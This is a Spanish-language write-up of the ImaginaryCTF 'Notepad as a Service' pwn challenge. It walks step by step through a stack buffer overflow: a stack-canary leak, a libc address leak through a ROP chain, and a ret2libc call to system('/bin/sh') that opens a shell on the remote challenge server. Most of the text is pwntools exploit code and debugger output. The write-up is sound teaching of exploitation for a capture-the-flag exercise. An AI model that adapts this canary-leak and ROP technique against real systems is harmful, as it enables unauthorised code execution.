Notepad as a Service
11 minutos de lectura
Se nos proporciona un binario de 64 bits llamado notepad
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Si usamos Ghidra para extraer el código en C descompilado, veremos la función main
:
void main() {
setbuf(stdout, (char *) 0x0);
do {
notepad();
} while (true);
}
Básicamente, ejecuta notepad
de forma infinita:
void notepad() {
long in_FS_OFFSET;
char option;
int i;
undefined notes[136];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
for (i = 0; i < 128; i = i + 1) {
notes[i] = 0;
}
puts("Welcome to Notepad as a Service!");
while (true) {
while (true) {
while (true) {
puts("Menu:");
puts("1) View note");
puts("2) Edit note");
puts("3) Quit and make new note\n");
printf(">>> ");
__isoc99_scanf("%c%c", &option, &dead);
if (option != '1') break;
view(notes);
}
if (option != '2') break;
edit(notes);
}
if (option == '3') break;
puts("Not a valid choice!");
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
La función view
es bastante sencilla:
void view(undefined8 param_1) {
printf("Your note is %s\n", param_1);
return;
}
Y la función edit
es muy interesante:
void edit(long param_1) {
int input_char;
int i;
int limit;
puts("What index do you want to edit it at (0-127)?");
printf(">>> ");
__isoc99_scanf("%u%c", &i, &dead);
if (i < 128) {
printf("Enter your changes:\n>>> ");
limit = 0;
while (true) {
input_char = getchar();
if (((char) input_char == '\n') || (0x7e < limit)) break;
*(char *) (i + param_1) = (char) input_char;
limit = limit + 1;
i = i + 1;
}
} else {
printf("That\'s not a valid index!");
}
return;
}
Aquí tenemos una manera de escribir hasta 0x7e
(126) caracteres distintos de \n
en una posición de notes
(un vector de char
de 136 elementos).
Por tanto, imaginemos que usamos el índice 127 e introducimos una gran cantidad de datos:
$ ./notepad
Welcome to Notepad as a Service!
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> 2
What index do you want to edit it at (0-127)?
>>> 127
Enter your changes:
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> 3
*** stack smashing detected ***: terminated
zsh: abort (core dumped) ./notepad
Aquí está. Tenemos una vulnerabilidad de Buffer Overflow y también vemos la protección del canario.
Vamos a usar GDB para ver dónde está el canario respecto a nuestra entrada de datos:
$ gdb -q notepad
Reading symbols from notepad...
(No debugging symbols found in notepad)
gef➤ run
Starting program: ./notepad
Welcome to Notepad as a Service!
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> 2
What index do you want to edit it at (0-127)?
>>> 127
Enter your changes:
>>> ABCDEFGH
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecefd2 in __GI___libc_read (fd=0x0, buf=0x4052a0, nbytes=0x400) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ grep ABCDEFGH
[+] Searching 'ABCDEFGH' in memory
[+] In '[heap]'(0x405000-0x426000), permission=rw-
0x4052a0 - 0x4052aa → "ABCDEFGH\n"
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7ffff7f5b000-0x7ffff7fa9000), permission=r--
0x7ffff7f69ea1 - 0x7ffff7f69ed8 → "ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqr[...]"
0x7ffff7f7902c - 0x7ffff7f79063 → "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx[...]"
0x7ffff7f790ca - 0x7ffff7f790e4 → "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
0x7ffff7f7911a - 0x7ffff7f7913e → "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe63f - 0x7fffffffe647 → "ABCDEFGH"
gef➤ x/10gx 0x7fffffffe630
0x7fffffffe630: 0x0000000000000000 0x4100000000000000
0x7fffffffe640: 0x0048474645444342 0x017050fc6fd30b00
0x7fffffffe650: 0x00007fffffffe660 0x00000000004013b1
0x7fffffffe660: 0x0000000000000000 0x00007ffff7de5083
0x7fffffffe670: 0x00007ffff7ffc620 0x00007fffffffe758
El valor del canario es 0x017050fc6fd30b00
, ya que el siguiente es el valor de $rbp
guardado (0x7fffffffe660
) y el siguiente es la dirección de retorno guardada (0x4013b1
). Para poder burlar esta protección, tenemos que mostrarlo por pantalla. Una manera de hacer esto es añadir dos bytes más y mostrar su valor con view
(necesitamos dos bytes adicionales para evitar el byte nulo que tiene el canario):
gef➤ continue
Continuing.
2
What index do you want to edit it at (0-127)?
>>> 127
Enter your changes:
>>> ABCDEFGHIJ
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> 1
Your note is
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>>
Sin embargo, necesitamos rellenar las otras notas. Ahora mismo, todas las notas tienen bytes nulos. Por eso no se ve nada, ya que los bytes nulos terminan las cadenas de caracteres en C.
Habiendo dicho esto, vamos a empezar con el exploit para fugar el valor del canario:
#!/usr/bin/env python3
from pwn import *
context.binary = 'notepad'
elf = context.binary
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
def main():
p = get_process()
p.sendlineafter(b'>>> ', b'2')
p.sendlineafter(b'>>> ', b'0')
p.sendlineafter(b'>>> ', b'A' * 127)
p.sendlineafter(b'>>> ', b'2')
p.sendlineafter(b'>>> ', b'127')
p.sendlineafter(b'>>> ', b'B' * 10)
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 60556
[*] Switching to interactive mode
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $ 1
Your note is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBI8\x88\x81%J\xe9\xe0\xe8\x8a\x13\x7f
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $
Ahí está el canario, podemos añadir esta funcionalidad en el exploit:
p.sendlineafter(b'>>> ', b'1')
note = p.recvline()
canary = u64(b'\0' + note.split(b'B' * 10)[1][:7])
log.info(f'Canary: {hex(canary)}')
p.interactive()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 114719
[*] Canary: 0x3a915786143fd700
[*] Switching to interactive mode
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $
Para continuar con el proceso de explotación, tenemos que realizar un ataque ret2libc, ya que la protección NX está activada en el binario. Por tanto, tenemos que usar Return Oriented Programming (ROP) para ejecutar código arbitrario una vez que sobrescribamos la dirección de retorno.
Además, necesitamos fugar una función de Glibc para burlar ASLR, que es muy probable que esté habilitado en la instancia remota. Para este propósito, tenemos que usar puts
para mostrar el contenido de una función de Glibc en la Tabla de Offsets Globales (Global Offset Table, GOT), ya que mostrará el correspondiente valor de la Tabla de Enlaces a Procedimientos (Procedure Linkage Table, PLT) con la dirección exacta de la función de Glibc en tiempo de ejecución.
Por tanto, necesitamos un gadget pop rdi; ret
para poner la dirección de la GOT de una función (por ejemplo, la misma función puts
) en $rdi
(primer argumento). Luego llamamos a puts
mediante la PLT y finalmente llamamos a main
para continuar con la ejecución del programa.
Todos estos valores se pueden obtener con los siguientes comandos:
$ readelf -s notepad | grep main
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
57: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2
71: 000000000040138f 36 FUNC GLOBAL DEFAULT 14 main
$ ROPgadget --binary notepad | grep 'pop rdi ; ret'
0x000000000040141b : pop rdi ; ret
$ objdump -d notepad | grep puts
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmpq *0x2fe2(%rip) # 404018 <puts@GLIBC_2.2.5>
4011cf: e8 5c fe ff ff callq 401030 <puts@plt>
4012b9: e8 72 fd ff ff callq 401030 <puts@plt>
4012c5: e8 66 fd ff ff callq 401030 <puts@plt>
4012d1: e8 5a fd ff ff callq 401030 <puts@plt>
4012dd: e8 4e fd ff ff callq 401030 <puts@plt>
4012e9: e8 42 fd ff ff callq 401030 <puts@plt>
40136e: e8 bd fc ff ff callq 401030 <puts@plt>
No obstante, pwntools
provee atributos útiles para acceder a estos valores, por lo que no tenemos que ponerlos hard-coded. La ROP chain tiene que incluir el valor del canario, para dejarlo sin moduficar (y burlar así la protección) e introducir un valor cualquiera de $rbp
, como 0
.
pop_rdi_ret_addr = 0x40141b
payload = b'B' * 9
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi_ret_addr)
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.sendlineafter(b'>>> ', b'2')
p.sendlineafter(b'>>> ', b'127')
p.sendlineafter(b'>>> ', payload)
p.interactive()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 125758
[*] Canary: 0xdcf713bcdc856e00
[*] Switching to interactive mode
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $ 3
\xc4\x82\xa7\x7f
Welcome to Notepad as a Service!
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $
Y ahí está la dirección de la función puts
en tiempo de ejecución. Vamos a cogerla y formatearla como número hexadecimal:
p.sendlineafter(b'>>> ', b'3')
puts_addr = u64(p.recvline().strip(b'\n').ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
p.interactive()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 128245
[*] Canary: 0x4d5be7ce3e22000
[*] Leaked puts() address: 0x7fefe990a420
[*] Switching to interactive mode
Welcome to Notepad as a Service!
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $
Genial, estamos en el main
de nuevo, por lo que tenemos que rellenar las notas otra vez. Ahora podemos obtener el offset de system
y "/bin/sh"
en Glibc, porque ya podemos calcular la dirección base de Glibc y burlar así ASLR. Estos son los offsets:
$ ldd notepad
linux-vdso.so.1 (0x00007ffe4512a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff792757000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff79295f000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts
195: 0000000000084420 476 FUNC GLOBAL DEFAULT 15 _IO_puts@@GLIBC_2.2.5
430: 0000000000084420 476 FUNC WEAK DEFAULT 15 puts@@GLIBC_2.2.5
505: 0000000000124330 1268 FUNC GLOBAL DEFAULT 15 putspent@@GLIBC_2.2.5
692: 0000000000126000 728 FUNC GLOBAL DEFAULT 15 putsgent@@GLIBC_2.10
1160: 0000000000082ce0 384 FUNC WEAK DEFAULT 15 fputs@@GLIBC_2.2.5
1708: 0000000000082ce0 384 FUNC GLOBAL DEFAULT 15 _IO_fputs@@GLIBC_2.2.5
2345: 000000000008e320 159 FUNC WEAK DEFAULT 15 fputs_unlocked@@GLIBC_2.2.5
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
237: 0000000000153ae0 103 FUNC GLOBAL DEFAULT 15 svcerr_systemerr@@GLIBC_2.2.5
619: 0000000000052290 45 FUNC GLOBAL DEFAULT 15 __libc_system@@GLIBC_PRIVATE
1430: 0000000000052290 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
$ strings -atx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
1b45bd /bin/sh
Ok, vamos a explotar el binario en local. Primero de todo, vamos a calcular la dirección base de Glibc y otras direcciones:
puts_offset = 0x084420
system_offset = 0x052290
bin_sh_offset = 0x1b45bd
glibc_base_addr = puts_addr - puts_offset
log.info(f'Glibc base address: {hex(glibc_base_addr)}')
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
p.interactive()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 156756
[*] Canary: 0xf5acfc6170498100
[*] Leaked puts() address: 0x7fe306356420
[*] Glibc base address: 0x7fe3062d2000
[*] Switching to interactive mode
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $
Como prueba, podemos ver que la dirección base de Glibc termina en 000
en hexadecimal, lo cual indica que está bien, en general.
Ahora, podemos utilizar otra ROP chain para llamar a system("/bin/sh")
. Esta vez, tenemos que añadir una un gadget ret
para prevenir problemas con el alineamiento de la pila (stack alignment). Este gadget será el mismo que pop_rdi_addr
más una unidad:
payload = b'B' * 9
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi_ret_addr)
payload += p64(bin_sh_addr)
payload += p64(pop_rdi_ret_addr + 1)
payload += p64(system_addr)
p.sendlineafter(b'>>> ', b'2')
p.sendlineafter(b'>>> ', b'127')
p.sendlineafter(b'>>> ', payload)
p.sendlineafter(b'>>> ', b'3')
p.interactive()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 158722
[*] Canary: 0xb7a3e7f603b88800
[*] Leaked puts() address: 0x7fab1d9ab420
[*] Glibc base address: 0x7fab1d927000
[*] Switching to interactive mode
$ ls
notepad solve.py
Tenemos una shell! Perfecto, vamos a probar en remoto:
$ python3 solve.py puzzler7.imaginaryctf.org 3001
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to puzzler7.imaginaryctf.org on port 3001: Done
[*] Canary: 0x86efa0d7c64bd600
[*] Leaked puts() address: 0x7f9b47528ed0
[*] Glibc base address: 0x7f9b474a4ab0
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Obviamente, no tenemos una shell porque la versión de Glibc en remoto es distinta de la local. Otro hecho es que la dirección base no termina en 000
. Para tener la correcta, tenemos que coger los últimos tres dígitos hexadecimales de la dirección fugada de puts
y buscar en libc.rip.
Para obtener menos resultados, podemos fugar otra función como printf
:
$ python3 solve.py puzzler7.imaginaryctf.org 3001
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to puzzler7.imaginaryctf.org on port 3001: Done
[*] Canary: 0xc92ece03b2b45700
[*] Leaked printf() address: 0x7f867672d770
[*] Glibc base address: 0x7f86766a9350
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Ahora tenemos tres versiones candidatas de Glibc:
Si actualizamos los offsets, tendremos uan shell en remoto:
$ python3 solve.py puzzler7.imaginaryctf.org 3001
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to puzzler7.imaginaryctf.org on port 3001: Done
[*] Canary: 0xaa26c4c98b274200
[*] Leaked puts() address: 0x7f921747ced0
[*] Glibc base address: 0x7f92173fc000
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
ictf{gimme_2_months_and_I'll_put_microsoft_out_of_business}
El exploit completo se puede encontrar aquí: solve.py
.